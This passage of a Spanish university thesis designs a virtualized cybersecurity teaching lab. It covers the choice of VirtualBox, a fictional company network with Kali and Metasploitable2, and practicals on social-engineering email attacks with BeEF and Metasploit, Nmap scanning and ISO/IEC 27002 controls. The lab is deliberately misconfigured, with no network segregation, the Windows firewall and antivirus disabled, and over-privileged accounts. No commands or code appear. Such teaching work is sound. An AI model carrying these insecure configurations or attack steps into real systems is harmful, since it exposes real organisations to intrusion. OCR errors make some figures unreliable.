Tecnologias y Servicios de Telecomunicacion (GITST) o los masteres que se ofrecen en la
Escuela Politécnica Superior de la Universidad Auténoma de Madrid
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2.5 Entornos de virtualizacion

Hoy en dia la virtualizacién es uno de los puntos calientes del sector informético a nivel
mundial. Las cifras demuestran el creciente nimero de empresas que Vvirtualizan,
practicamente a todos los niveles posibles la infraestructura de sus servicios y servidores,
data centers, etc. Los buenos resultados obtenidos tras su implantacion en la mayoria han
hecho que su implementacion haya sido rdpidamente acogida por las empresas
tecnoldgicas.

Aunque esta tecnologia haya empezado a ser acogida masivamente en la actualidad lo mas
sorprendente de todo es que se trate de una tecnologia disponible desde hace més de
cuarenta afos, utilizada fundamentalmente en grandes centros de calculo, tanto bancarios
como militares y universitarios. Algunos de los usos pioneros de la virtualizacion incluyen
al IBM 7704 (en el que la maquina fisica era la M44 que albergaba varias maquinas ldgicas
44X para los procesos), el CTSS desarrollado por el MIT en el IBM 7044 y el proyecto
Atlas de la Manchester University [14].

Se puede definir la virtualizacion como el efecto de abstraer los recursos de un computador
y proporcionar acceso légico a recursos fisicos para crear, a través de software, una version
virtual de algun recurso tecnoldgico, como puede ser una plataforma de hardware, un
sistema operativo, un dispositivo de almacenamiento u otros recursos de red. Dependiendo
del recurso que se abstraiga, individual —almacenamiento, red— o plataforma completa —un
servidor, maquina—, y de por quién sea usado ese recurso, podemos clasificar distintos
modelos de virtualizacion.

Se pueden distinguir cuatro modelos principales de virtualizacion: virtualizacién de
plataforma, virtualizacién de recursos, virtualizacion de aplicaciones y virtualizacion de
escritorio.

Modelo  Submodelo Recurso abstraido  Ejemplo(s)
Virtualizaciéon — Sistemas operativos invitados Plataforma hardware VMware Workstation, Parallels
de Plataforma completa Desktop, Sun xVM VirtualBox,
VMware Player, Microsoft Virtual
PC
Emulacion Plataforma hardware Bochs. MAME. DOSBox.
completa Hercules, MESS, VirtualPC,
Qemu
Virtualizacion Completa Plataforma hardware VMware Server, XenServer,
completa z/VM, Oracle VM. Sun xVM

Server, Virtual Server. VMware
ESX Server, VMware Server,
VMware Fusion, Xen, Hyper-V
(en algunos casos solo es posible
si existe hardware con soporte de

virtualizacion)
Paravirtualizacién Plataforma hardware Xen. Logical Domains, Oracle
completa VM, Sun xXVM Server
Virtualizacion a nivel del Plataforma hardware OpenVZ. Linux V-Server,
Sistema Operativo completa Virtuozzo, FreeBSD's chroot jails,

Free VPS, Solaris Zones y Solaris
Confainers

Virtualizacion a nivel del Plataforma hardware KVM., User-mode Linux
kernel completa

Virtualizacion Encapsulacion Recurso individual

de Recursos Memoria virtual Memoria y disco Espacio Swap. técnicas de
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paginado de memoria

Virtualizacion de Disco. RAID. LVM. SAN, NAS, NFS,

almacenamiento almacenamiento AFS. GFS. iSCSI., AoE

Virtualizacion de red Red OpenVPN, OpenSwarm, que
permiten crear VPNs

Union de interfaces de red Enlaces de red vHBA (Virtual Host Bus Adapter),

(Ethernet Bonding)

vNIC (Virtual Network Interfaces
Card)

Virtualizacion de E/S Conexiones de Xsigo Systems. 3Leaf Systems, en
entrada/salida y el futuro: Cisco Systems. Brocade
transporte

Virtualizacion de memoria Memoria RAM

Virtualizacién Virtualizacién  Aplicaciones Sistema operativo
de de Portables
aplicaciones  aplicaciones

limitada

Virtualizacion  Portabilidad CPU y sistema Java Virtual Machine, Common

de Multiplatafo  operativo Language Runtime. Mono.

aplicaciones rma (Cross- LLVM. Portable NET. Perl
completa platform) Virtual Machine, Citrix XenApp,

Novell ZENworks Application
Virtualizacion, VMware ThinApp.
Microsoft Application
Virtualization

Simulacién ~ API del Sistema
Operativo. Interfaz

Wine. Crossover office. coLinux.
Zebra, Quagga

Virtualizacion Sistema completo -

de escritorio localizacion fisica
del escritorio. que se
encuentra en un
servidor remoto-

Wyse Technology, VMware View.
Sun VDL vDesk de Ring Cube.
XenDesktop de Cifrix.
vWorkspace de Quest Software, o
ThinLinc de Cendio

Tabla 2.5-1: Modelos de virtualizacion segun el recurso que se abstrae

En este TFG se ha realizado una investigacion de varias herramientas de virtualizacion
para conseguir la que mas se adecuase a los requisitos que habia que cumplir.

Las herramientas que se barajaron fueron VMWare ESXi, Proxmox, VMWare
Workstation, VMWare Fusion y Oracle VirtualBox. Como se puede observar en la tabla
las dos primeras estan dentro del submodelo virtualizacién completa y las tres Gltimas del
submodelo sistemas operativos invitados, ambos submodelos se encuentran dentro del

modelo virtualizacion de plataforma.

Las dos primeras opciones se diferencian de las siguientes en cuanto que necesitan del

concepto denominado hipervisor.

=) () (e )

Figura 2.5-1: Capas de virtualizacién con hipervisor
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El hipervisor o hypervisor es un pequefio monitor de bajo nivel de maquinas virtuales que
se inicia durante el arranque, antes que las maquinas virtuales, y que normalmente corre
justo sobre el hardware (denominado en algunos textos como native o baremetal) como
podemos observar en la figura anterior, aunque también lo puede hacer sobre un sistema
operativo (Ilamado en este caso hipervisor hosted).

Esta capa adicional de virtualizacion proporciona dos funcionalidades basicas:

e Identifica, capta, maneja y responde a operaciones de CPU e instrucciones
privilegiadas o protegidas emitidas por las maquinas virtuales.

e Maneja el encolado, envio y devolucion de resultados de peticiones de acceso a los
recursos hardware instalados en el host anfitrion por parte de las maquinas
virtuales.

Por todo esto cualquier modelo basado en hipervisor solo podrd gestionar maquinas
virtuales con sistema operativo, librerias y utilidades compiladas para el mismo hardware y
juego de instrucciones que el de la maquina fisica.

Las tres ultimas opciones: VMWare Workstation, WMWare Fusion y Oracle Virtualbox
pertenecen al submodelo sistemas operativos invitados.

VM#2 VM#3 VM#4

Aplicacién de virtualizacidn

VM#1

Sistema operativo del sistema

Hardware del

sistema

Figura 2.5-2: Modelo de virtualizacion de aplicacion con sistemas operativos invitados.

Esta categoria se basa en una aplicacién para la virtualizacion. Al contrario que las dos
primeras ésta no hace uso de hipervisor u otra capa de virtualizacion. La aplicacién que
permite virtualizar corre sobre la instancia de un sistema operativo denominado host, que
permite la ejecucion de servidores virtuales como sistemas operativos independientes. Si la
aplicacion implementa traduccion de juego de instrucciones o emulacion, permitira a la
maquina fisica anfitriona ejecutar maquinas virtuales con un sistema operativo, utilidades y
aplicaciones diferentes.
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3 Analisis

3.1 Introduccioén

En este tercer capitulo se presenta un andlisis de los conocimientos tedricos y técnicos
que se pretende que el alumno obtenga una vez haya finalizado el laboratorio de
ciberseguridad, el escenario de aprendizaje y los requisitos técnicos para crear el
entorno.

Para poder adquirir los conocimientos deseados, el alumno debe poder practicar en un
entorno que intente simular lo méas posible un escenario real. La especificacion del
entorno se realizard considerando los recursos posibles disponibles por parte del alumno
y la infraestructura del laboratorio y una vez establecidos los dos puntos anteriores, se
ajustara el entorno a las limitaciones que ofrece una maquina de prestaciones medias.

En los siguientes apartados se va a realizar un andlisis de todos estos aspectos ya que
son la base para realizar el disefio y la implementacidn posterior del laboratorio.

3.2 Analisis de los conocimientos a obtener por el alumno

Este trabajo fin de grado pretende que los alumnos se inicien en el mundo de la
ciberseguridad y aprendan los conocimientos fundamentales. EI mundo de la seguridad
informatica se puede abordar desde muchos puntos de vista aunque suele ser méas
conocido su aspecto ofensivo. Sin embargo, la ciberseguridad no es una cuestion de
hackers que se intentan infiltrar en sistemas ajenos para cumplir sus objetivos, sino que
es muchos casos mas importante establecer el mayor nivel de seguridad en nuestros
sistemas cibernéticos.

Como en todo en lo que existe una dualidad, en ciberseguridad también ocurre que no
se puede entender sin haber visto su contraparte. Es decir, no se le puede explicar a un
alumno como aplicar unas medidas de proteccién y seguridad si no sabe qué tipo de
ataques puede recibir, ya que de esta manera siempre estara por detras del atacante.

Los controles de seguridad como se ha dicho antes, se aplican para evitar ataques
especificos. Se ha considerado cuales son algunos de los vectores de ataque mas
comunes que suelen comprometer la seguridad de una empresa. A partir de aqui se han
establecido los controles que se querian aplicar en cada practica segun los
conocimientos que queriamos abordar.

Uno de los retos mas dificiles de afrontar en este TFG ha sido el analisis de los
conocimientos a obtener por el alumno asi como introducir el estandar 1ISO-IEC 27001
y los controles de la ISO/IEC 27002 de una manera amena para el alumno y no apagar
su interes. Como se decia al principio que la parte mas llamativa del mundo de la
ciberseguridad es la ofensiva y que se necesita conocer esta parte para poder defenderse,
se ha utilizado esta premisa para “enganchar” al alumno en el mundo de la seguridad
informatica y asi darle un sentido a las practicas introduciendo el estandar. EI alumno
asi podra realizar ataques en un entorno controlado y asimilar los controles que propone
el estandar de una manera mucho mas atractiva. Por todo esto las practicas se componen
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de dos partes, una desde el punto de vista del atacante y otra desde el punto de vista del
defensor.

En total se han realizado cuatro practicas en las que se espera que el alumno obtenga
conocimientos especificos relativos a los siguientes temas:

3.2.1 Préctica 1
Parte 1:
¢ Ciclo de vida de un atague de hacking ético

e Principal distribucion de GNU/Linux para la auditoria y seguridad
informatica

e Hacking con buscadores web

e Elementos bésicos en un ataque de ingenieria social

e Herramientas técnicas para un ataque de ingenieria social

e Framework principal para realizar ataques a vulnerabilidades de seguridad
Parte 2:

e Los errores técnicos y humanos producidos en un ataque de ingenieria social

e El impacto de este tipo de ataques en una empresa

e Los controles de la ISO/IEC 27002 para la proteccion contra la ingenieria
social

e La capacidad tedrica y técnica para implementar dichos controles

3.2.2 Préctica 2
Parte 1:
e Ciclo de vida de un ataque de hacking ético

e Principal distribucion de GNU/Linux para la auditoria y seguridad
informatica

e Principal herramienta de escaneo de puertos en maquinas

e Escaneo basico de puertos

e Vulnerabilidades en el sistema operativo Windows XP

e Framework principal para realizar ataques a vulnerabilidades de seguridad
Parte 2:

e Los errores técnicos y humanos producidos en un ataque en redes publicas

e El impacto de este tipo de ataques en una empresa

e Los controles de la ISO/IEC 27002 referentes al teletrabajo, acceso a redes
externas, gestion de vulnerabilidades técnicas y restricciones de instalacién
de software

e La capacidad tedrica para implementar dichos controles

3.2.3 Practica 3

Parte 1:
e Ciclo de vida de un atague de hacking ético
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Principal distribucion de GNU/Linux para la auditoria y seguridad
informética

Principal herramienta de escaneo de puertos en maquinas

Escaneos méas avanzados de puertos

Herramienta de escaneo de vulnerabilidades de seguridad

Vulnerabilidades en un servidor web

Framework principal para realizar ataques a vulnerabilidades de seguridad

Parte 2:

Los errores técnicos y humanos producidos en un servidor web mal
configurado

El impacto de este tipo de ataques en una empresa si no se tiene el servidor
web en una zona desmilitarizada

Los controles de la ISO/IEC 27002 referentes a la segregacion de redes y
gestién de control de cuentas

Principios fundamentales de un firewall

Politicas de un firewall

Segmentacion de una red empresarial

3.2.4 Practica 4
Parte 1:

Ciclo de vida de un ataque de hacking ético

Principal distribucion de GNU/Linux para la auditoria y seguridad
informética

Herramienta para analizar protocolos

Identificacidn de protocolos en redes de comunicaciones

Consecuencias del uso de comunicaciones no cifradas

Parte 2:

Los errores técnicos y humanos producidos

El impacto para una empresa al usar comunicaciones no cifradas

Los controles de la ISO/IEC 27002 referentes a teletrabajo y acceso a redes y
servicios de red externos

La capacidad tedrica para implementar dichos controles

3.3 Analisis del escenario de aprendizaje

En este apartado se va a exponer el escenario real que se ha simulado virtualmente para
el desarrollo de las practicas.

El contexto elegido es el siguiente: una empresa pequefia 0 una start-up que tiene una
infraestructura de red empresarial sencilla para el desarrollo de sus actividades. Se ha
denominado una infraestructura sencilla al conjunto de los siguientes elementos:

e Cortafuegos: este dispositivo es uno de los elementos técnicos mas importantes
respecto a la seguridad en una empresa ya que, aparte de ser la primera capa de
seguridad, tiene la principal tarea de permitir o bloquear el trafico que circula
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hacia dentro o hacia fuera en una red empresarial o entre las distintas redes de
area local virtuales que pueda haber en ésta.

Servidor web: como su propio nombre indica serd el encargado de ofrecer el
servicio web para albergar la pagina web de la empresa.

Servidor DNS: es el responsable de realizar las traducciones de los nombres de
dominio a sus respectivas direcciones IP y viceversa para las peticiones dentro
de la red corporativa.

Servidor FTP: este servidor almacena los archivos que permiten el intercambio
de ficheros con una maquina cliente autorizada.

Equipos de trabajo: conforman las distintas maquinas de trabajo necesarias para
el desarrollo de las tareas de los trabajadores en una empresa.

El esquema bésico de red empresarial que se considera en el escenario del laboratorio
es el siguiente:

-

B B

Red Empresarial

i Redinterna ‘

Figura 3.3-1: Red empresarial con segregacion.

Esta red empresarial cuenta con dos redes de area local virtuales, una es la zona
desmilitarizada y la otra, la red interna de los trabajadores. Con esta configuracion, el
cortafuegos solo permitiria las conexiones a los puertos que ejecutan un servicio que se

quiera

exponer a internet en los servidores de la DMZ. Por ejemplo, si la empresa

quisiese tener una pagina web, el cortafuegos deberia tener el acceso habilitado al
puerto ochenta del servidor web en la zona desmilitarizada. Otro ejemplo podria ser que
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la empresa quisiese ofrecer archivos en cuyo caso deberia habilitar el puerto 21 para que
las conexiones TCP desde el exterior pudiesen establecerse.

En la red interna podrian estarian los servidores de archivos reservados para la empresa,
el servidor de correo y los distintos equipos de trabajo personales de los empleados. A
esta red nunca le llegarian las peticiones de fuera de la red empresarial asegurando asi
que no se produjese ningun tipo de ataque externo.

Esta segregacion evitaria que si alguno de los servidores que ofrece un servicio a
Internet y que simplemente por estar expuesto pueda recibir un atagque, en caso de
quedar comprometido, el atacante nunca pudiera pivotar o tener acceso a las maquinas
privadas de la empresa. Un modelo imprudente seria el siguiente:

Figura 3.3-2: Red empresarial sin segregacion.

En esta configuracién un atacante que comprometiese un servidor que ofrece un servicio
a Internet podria tener acceso a cualquier maquina del resto de la red.

Es por esta razon que el cortafuegos es un elemento muy critico en la infraestructura
empresarial, ya que una mala configuracion de los accesos puede permitir que un
atacante consiga conectarse a cualquier equipo privado, con las consecuencias que eso
conlleva.

Estos son algunos de los conceptos que se pretende inculcar al alumno, por lo que el
entorno que se le entregara al alumno en las practicas estara mal configurado de tal
manera que no exista la segregacion de redes. De esta forma, cuando el alumno realice
la primera parte de las practicas desde el punto de vista del atacante podra aprovecharse
de esta mala configuracién como lo haria cualquier intruso y estudiar en la segunda
parte desde el punto de vista defensor las consecuencias y como evitarlas.
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3.4 Analisis del escenario de aprendizaje

En este capitulo se va a realizar un andlisis de los requisitos técnicos con los se ha
pretendido desarrollar el entorno empresarial virtualizado. Los requisitos funcionales en
los que se ha fundamentado el disefio e implantacion de este laboratorio de
ciberseguridad han sido:

e Realismo: el objetivo de este TFG es formar a los alumnos en materia de
ciberseguridad en un ambiente profesional por lo que el escenario debe ser lo
mas real posible.

e Portabilidad: el entorno debe ser facilmente desplegable, trasladable y que
pueda ser realizado tanto en las maquinas de los laboratorios como en los
equipos portatiles o de escritorio de los alumnos.

¢ Rendimiento: las maquinas virtuales deben poder ser utilizadas sin grandes
recursos hardware para ampliar el abanico de posibilidades de los equipos en los
que se pudiesen emplear.

e Software de cddigo libre: debido a que los fondos para la compra de licencias
de la universidad para los laboratorios son limitados y méas en tiempos de crisis
econdmica, se plantea la creacion del laboratorio a partir de software libre o de
licencias de estudiantes y por lo tanto gratuito.

e Complejidad: para evitar que los alumnos tengan que necesitar una preparacion
previa en los entornos de virtualizacion, se han valorado méas los entornos de
virtualizacion que tuviesen un equilibrio entre sencillez y prestaciones.

Como hemos visto en el capitulo anterior el escenario de una empresa real requiere de
varios servidores y equipos de trabajo, es por ello que el laboratorio debe tener los
servidores y equipos minimos para crear una infraestructura empresarial realista. Como
las maquinas virtuales de los servidores solo se utilizarian para tareas sencillas y no
tendrian mucha demanda de recursos, el minimo de memoria RAM que requeririan
serian unos 256Mb o 512Mb por méquina. En el caso de los equipos, con simplemente
dos sistemas operativos de Windows obtenidos a partir de las licencias que ofrece la
UAM a los estudiantes se podria conseguir un cierto realismo. Con un sistema Windows
XP con 256Mb y un sistema Windows 7 con 1Mb de RAM se puede conseguir una
funcionalidad satisfactoria para el proposito del laboratorio. Por lo que si sumamos toda
la memoria RAM que necesitaria un ordenador personal para utilizar todas estas
maquinas virtuales, el resultado de la configuracion se asemeja a las prestaciones de un
equipo medio a dia de hoy.

Tal como se presentd el capitulo 2.5 de este TFG, se realizd una investigacion de varias
herramientas de virtualizacion para conseguir la que més se adecuase a los requisitos
gue habia que cumplir. Las herramientas que se barajaron fueron VMWare ESXi,
Proxmox, VMWare Workstation, VMWare Player y Oracle VirtualBox. Como se puede
observar en la tabla 2.5-1 contenida en el estado del arte de entornos de virtualizacion,
las dos primeras opciones estan dentro del submodelo virtualizacion completa y las tres
ultimas del submodelo sistemas operativos invitados, ambos submodelos se encuentran
dentro del modelo virtualizacion de plataforma.
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Los entornos de virtualizacion VMWare y Proxmox parecian la mejor eleccion para
crear el laboratorio en un contexto lo mas profesional posible. Después de realizar
multitud de pruebas analizando estas alternativas durante un periodo de cinco semanas
se descarto utilizar estos entornos debido a la necesidad de tener un servidor fisico con
todo su hardware dedicado a la virtualizacion, la complejidad en ambas y la falta de
documentacién en la segunda.

Figura 3.4-1: VMWare ESXi Figura 3.4-2: Proxmox

Por las limitaciones que teniamos y el tipo de entorno que se pretendia crear en este
TFG, todas las opciones que se barajaron siempre estuvieron dentro del primer modelo
de virtualizacion, pero finalmente hubo que centrarse en alguna herramienta que
estuviese dentro del submodelo sistemas operativos invitados.

Por otro lado y al ser un requisito fijado del proyecto el uso de software libre, la opcion
de VMWare Workstation aunque ofreciese grandes posibilidades, no podia
seleccionarse al ser necesario una licencia de pago. La opcion gratuita que ofrece
VMWare similar a Workstation es VMWare Fusion pero algunos elementos esenciales
para la creacion de este laboratorio como la clonacion de maquinas virtuales no venian
incluidos en esta version libre.

Por todo esto la eleccidn para albergar este entorno virtualizado ha sido finalmente el
software de virtualizacién gratuito desarrollado por Oracle Corporation llamado Oracle
Virtualbox. Ademas esta aplicacion ofrece una gran sencillez para los usuarios nuevos
en entornos de virtualizacién que las otras no poseen, por lo que esto beneficiara a los
alumnos indudablemente. Aun asi, todas las maquinas creadas en este laboratorio
pueden ser convertidas y utilizadas en las aplicaciones mencionadas previamente. Es
decir, el disefio escalable del laboratorio permite que que si un alumno poseyera una
opcion de pago de WMWare o la universidad tuviese los fondos para comprar licencias,
este laboratorio podria seguir siendo igualmente util.

ORACLE"
M

VirtualBox B e

Figura 3.4-3: Oracle Virtualbox Figura 3.4-4: Maguinas virtuales en Virtualbox
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3.5 Conclusiones

En este capitulo se han visto cuéles han sido los conocimientos principales que se espera
que obtenga un alumno que realice este laboratorio de ciberseguridad. Se han analizado
cuales son las infraestructuras empresariales mas basicas que han servido de modelo para
la creacion de un entorno virtualizado lo mas semejante a un entorno real y en donde se
desarrollaran las précticas. Para poder cumplir los requisitos técnicos explicados en el
ultimo apartado se ha hecho un estudio de algunos entornos y aplicaciones de
virtualizacion que hay en el mercado actual para llegar a la alternativa sobre la que se han
creado todas las maquinas del entorno de laboratorio y las pruebas o practicas a desarrollar.
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4 Diseno

4.1 Introduccion

En este capitulo se va a detallar el disefio del laboratorio de ciberseguridad tanto en el
entorno como en las practicas. Los apartados siguientes se van a estructurar de tal forma
que se va a ir explicando el disefio de cada practica dentro de las diversas fases de
desarrollo del proyecto.

4.2 Disefio del entorno del laboratorio

En este apartado se va a precisar como ha sido el disefio del entorno con un elevado grado
de detalle. Como se ha explicado anteriormente en el capitulo de andlisis, la red que se
pretendia crear debia contener los elementos minimos con los que se pudiese simular una
infraestructura de red empresarial. Todo este entorno debia estar contenido dentro de la
aplicacion de virtualizacion Oracle Virtualbox.

La configuracion basica la red incluye los siguientes componentes:

1 Cortafuegos

1 Servidor web

1 Servidor DNS

1 Servidor de archivos

2 Ordenadores personales

Todos estos servidores y ordenadores personales se deben crear como maquinas virtuales
en Virtualbox. Para mayor enriquecimiento y aprendizaje del alumno se ha querido dar
diversidad a las distribuciones utilizadas quedando de esta manera:

Magquina Virtual Distribucion |
Cortafuegos Debian 7
Servidor web Metasploitable2
Servidor DNS Debian 7
Servidor archivos Ubuntu 14.04 LTS server
Equipo personal #1 Windows XP
Equipo personal #2 Windows 7

Tabla 4.2-1: Distribuciones de SO de las maquinas virtuales

4.2.1 Red

Como se pretendia crear en primera instancia una infraestructura de red insegura para que
el alumno pudiese practicar en ella y ver las consecuencias, el modelo que se ha tomado
como ejemplo fue el de una red no segregada, es decir, los servidores que tienen servicios
expuestos a internet en vez de estar en una zona desmilitarizada estarian dentro de la red
interna.

Los servidores que ofreciesen un servicio a Internet debian tener una direccion IP
“publica” accesible desde fuera de la red corporativa. Esto serviria para que cuando un
cliente realizase una peticion TCP a esta IP, el cortafuegos efectuase una traduccion de

27



direcciones IP y enviara la peticion a la direccion IP privada de la red local
correspondiente.

Al contener estas maquinas una configuracion errénea en sus servicios y vulnerabilidades
para ser explotadas, no se podian exponer a Internet ni aunque fuese un entorno
virtualizado. Por ello, para simular el acceso Internet dentro de la infraestructura virtual se
ha disefiado una red interna con un direccionamiento IP privado que obtiene conexion
Internet a través de la interfaz NAT de Virtualbox.

Las unicas maquinas que tendrian una interfaz de tipo NAT para tener acceso real a
Internet serian la maquina atacante y el cortafuegos. Este Gltimo permitiria conexiones
desde la red interna a través de sus interfaces hacia la interfaz con conexion a Internet
simulado y el Internet real.

La méaquina atacante que se ha elegido para este laboratorio ha sido creada a partir de la
distribucion Kali Linux basada en Debian y disefiada para la auditoria y seguridad
informatica. Esta distribucion fue fundada y es mantenida por Offensive Security Ltd. Mati
Aharoni and Devon Kearns. Es bastante conocida en el mundo de la seguridad informatica
ya que es una evolucion de distribucion BackTrack.

Puesto que hay dos préacticas que se centran en obtener conocimientos especificos en como
afecta a la seguridad de la empresa conectarse a redes publicas con ordenadores del

trabajo, se ha disefiado también una red “publica” dentro de Virtualbox.

Para entender mejor el entorno se plantea el siguiente diagrama de red:

: _l Oracle Virtualbox
P 1721612 P 192162101
ath0 NAT athO NAT
0§ Kali Linux 08 Debian 7
o e e e e e e ]
,f’ Red siminternet "\\
Vd b
i A"
Fi A
P 1721611
athl Rad simintamet (¥
08 Debian 7 -

“KALI LINUX

W 1721612
ethl Red simintemer
05 KaliLinux

Red EPS

P 192168101
ethZ Redinterna
05 Debian 7

PUBLIC IP 152.16.1.10

05 Ietasploitable2 B 132:168.1.10 IP 172.16.1.100

7 .
[~ Y gtho Red £rs | e 1921881100 !
L 08 Metasploitablez | Medlocal Red 5 Jl 0 Red Local Fed
— 08 WindowsXF > simintarnet
o 05 WindowsXP
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Figura 4.4.1-2: Diagrama de red del escenario de aprendizaje virtualizado
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4.2.2 Servicios y configuracion

Para que las maquinas funcionen en conjunto como una empresa es necesario instalar los
servicios y realizar las configuraciones necesarias en cada uno los servidores.

e Cortafuegos: en esta maquina virtual hay que realizar lo siguiente:

VI.

Configurar los adaptadores de Virtualbox para que tenga un adaptador
por cada red: Internet, Internet simulado y red privada de la empresa.
Configurar las interfaces de red dentro de la propia maquina en relacion
con los adaptadores de Virtualbox para que cada una soporte su
correspondiente direccion IP estatica, mascara de red, direccion IP de
broadcast, puerta de enlace predeterminada y direccion IP del servidor
de dominios de la empresa.

Configurar la politica del cortafuegos para todo el trafico de la empresa
teniendo en cuenta que esté virtualizada.

Configurar la tabla de enrutamiento y traduccion de direcciones del
cortafuegos.

Instalar una aplicacion de gestion de iptables.

Crear las cuentas de usuarios correspondientes a los trabajadores de una
empresa.

e Servidor web: en esta maquina virtual debe realizarse lo siguiente:

Vi.
Vii.

viii.

Configurar los adaptadores de Virtualbox para que disponer de un
adaptador para la red privada de la empresa.

Configurar las interfaces de red dentro de la propia maquina en relacion
con los adaptadores de Virtualbox para que cada una soporte su
correspondiente direccién IP estatica, mascara de red, direccion IP de
broadcast, puerta de enlace predeterminada y direccion IP del servidor
de dominios de la empresa.

Modificar la tabla de enrutamiento para que tenga conexion con el
cortafuegos.

Adaptar y modificar todos los archivos necesarios pre-configurados de
la méaquina Metasploitable2 para que fuesen las del servidor web.
Configurar el servidor apache.

Realizar una pégina web sencilla de la empresa ficticia.

Comprobar todas las vulnerabilidades del servidor y para conseguir
accesibilidad desde la red simulada de Internet.

Crear las cuentas de usuarios correspondientes a los trabajadores de una
empresa.

Introducir las carpetas y datos necesarios para simular archivos de una
empresa.

e Servidor DNS: en esta maquina virtual debe realizarse lo siguiente:

Configurar los adaptadores de Virtualbox para que realizar un adaptador
para la red privada de la empresa.

Configurar las interfaces de red dentro de la propia maquina en relacion
con los adaptadores de Virtualbox para que cada una soporte su
correspondiente direccién IP estatica, mascara de red, direccion IP de
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broadcast, puerta de enlace predeterminada y direccion IP del servidor
de dominios de la empresa.

iii.  Modificar la tabla de enrutamiento para que tenga conexién con el
cortafuegos.

iv. Instalar y configurar el servidor de dns bind para que funcione el
dominio empresarial ficticio eps.tfg en la red empresarial virtualizada.

v.  Crear las cuentas de usuarios correspondientes a los trabajadores de una
empresa.

Servidor de archivos: en esta maquina virtual debe realizarse lo siguiente:

i.  Configurar los adaptadores de Virtualbox para que tenga un adaptador
por para la red privada de la empresa.

ii.  Configurar las interfaces de red dentro de la propia méaquina en relacion
con los adaptadores de Virtualbox para que cada una soporte su
correspondiente direccion IP estatica, mascara de red, direccion IP de
broadcast, puerta de enlace predeterminada y direccion IP del servidor
de dominios de la empresa.

iii.  Modificar la tabla de enrutamiento para que tenga conexion con el
cortafuegos.

iv.  Instalar y configurar el servidor de archivos vsftpd.

v.  Configurar con vulnerabilidades los accesos al servicio ftp con los
cuentas locales del servidor.

vi.  Crear las cuentas de usuarios correspondientes a los trabajadores de una
empresa.

vii.  Introducir las carpetas y datos necesarios para simular archivos de una
empresa.

Equipo de trabajo #1 y #2: en estas maquinas virtuales debe realizarse lo siguiente:

i.  Configurar los adaptadores de la maquina #1 en Virtualbox para que
tenga un adaptador por cada red: Internet simulado, red “publica” local y
red privada de la empresa. En la maquina #2 solo sera necesario que esté
conectado a la red privada de la empresa.

ii.  Configurar las interfaces de red dentro de la propia maquina en relacion
con los adaptadores de Virtualbox para que cada una soporte su
correspondiente direccion IP estatica, mascara de red, direccion IP de
broadcast, puerta de enlace predeterminada.

iii.  Modificar la tabla de enrutamiento para que tenga conexion con el
cortafuegos.

iv.  Desactivar el cortafuegos de Windows y AV para ser explotable.

v.  Crear las cuentas de usuarios correspondientes a los trabajadores de una
empresa.

vi.  Introducir las carpetas y datos necesarios para simular archivos de una
empresa.
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4.3 Disefio de las practicas

Una vez que se ha disefiado el entorno del laboratorio el siguiente paso en el disefio de las
practicas. En cada practica se han considerado distintas maquinas, herramientas,
frameworks, conceptos y escenarios.

Las préacticas que se han disefiado se han dividido en dos grandes bloques, uno desde el
punto de vista del atacante y otro desde el punto de vista del defensor, quien tras recibir un
ataque decide implantar los controles necesarios de la ISO/IEC 27002 para evitar que sus
sistemas vuelvan a ser comprometidos en un futuro.

Para dar un contexto a los ciberataques y que las précticas no fuesen simples tutoriales sin
objetivo claros de formacion para el alumno, se han disefiado las précticas siguiendo una
metodologia de creacion de una historia basada en una empresa ficticia denominada EPS -
Emprendedores Para Siempre- que permita dar mas realidad a las pruebas. Esta empresa
ficticia estd constituida por varios empleados y departamentos y que son los siguientes: el
director gerente, el departamento de recursos humanos, el departamento econémico-
financiero, el equipo de desarrolladores y un técnico junior para la administracion de los
sistemas. Para cada una de las anteriores entidades se ha creado una cuenta de acceso en
los distintos servidores y equipos de la empresa. Como el objetivo es poder completar con
éxito los ataques en un entorno vulnerable, se han configurado incorrectamente estas
cuentas y se han dado privilegios méas elevados de los necesarios en las distintas maquinas
de la empresa.

También, en cada practica se ha creado una breve historia novelada que sirve para: 1)
generar un cierto interés por el mundo de la ciberseguridad, 2) hacer mas amena la practica
y 3) situar al alumno en el escenario del ataque y que eso facilite la compresion de las
tareas a realizar en el guion de précticas. A continuacion se explicard en qué consiste cada
practica.

4.3.1 Practica 1: Proteccion contra malware e ingenieria social

En esta practica se ha querido mostrar al alumno la eficacia de un ataque de ingenieria
social. El ataque gque se ha disefiado consiste en la preparacion de un correo electrénico
malicioso por parte del atacante para el director de la empresa ficticia con la que se
pretende obtener el control de la maquina y por lo tanto penetrar en la red corporativa. Para
Ilevar a cabo el ataque con éxito, el atacante ha utilizado la ingenieria social de manera que
ha preparado el correo electronico con informacion personal a partir de una investigacion
realizada sobre el objetivo a través de fuentes existentes en Internet.

Las tareas especificas incluidas en esta practica son:

1. Explicar brevemente la potencia que tiene el hacking con buscadores para recabar
informacidn sobre un objetivo

Introducir el concepto de ingenieria social

Presentar los frameworks BeEF y Metasploit

Explicar en detalle como cometer un ataque de ingenieria social con los
frameworks anteriores

Mantener el control de una maquina-victima después de su explotacion

6. Aprender a documentar en una memoria todo un ataque cibernético

~own

o
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7.

8.

9.

Analizar los elementos técnicos y humanos que han producido que el ataque haya
tenido éxito

Analizar el impacto que podria tener este tipo de ataques en una empresa real y
como podria repercutir en su economia.

Analizar qué medidas implementaria el alumno si fuese el administrador de
sistemas de la empresa

10. Identificar los controles de la ISO/IEC 27002 que se deberian implantar en este

11.

escenario
Implementar tedricamente o técnicamente dos puntos de la guia de implementacion
de un control que se aplique en este escenario

4.3.2 Practica 2: Actualizacién de software y uso de equipos de

trabajo fuera de la infraestructura laboral

En el siguiente escenario se ha querido mostrar al alumno posibles situaciones de riesgo
asociadas al uso de equipos de trabajo de la empresa en entornos externos. Este tipo de
ataques suelen ser muy efectivos debido a que los empleados de una empresa muchas

VEeCes

asocian la seguridad laboral a un edificio y no a los equipos electronicos

empresariales con informacion sensible que llevan consigo a todas partes. El ataque de esta
practica consiste en que un atacante realiza un ataque al ordenador de la victima que esta
conectada a la red publica de un establecimiento y como al ser una computadora de la
empresa, toda la seguridad de ésta queda comprometida en este punto.

Las tareas especificas de esta practica son:

1.

©CoNoORWN
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11.

12.

13.

Explicar brevemente la potencia que tiene el hacking con buscadores para
geolocalizar objetivos

Presentar la herramienta de escaneo de puertos Nmap

Realizar un escaneo con opciones especificas a una maquina objetivo

Identificar algunas de las vulnerabilidades méas conocidas de Windows XP

Conocer més en detalle el framework Metasploit

Utilizar el intérprete de comandos de Metasploit; meterpreter

Mantener el control de una maquina victima después de su explotacién

Aprender a documentar en una memoria todo un ataque cibernético

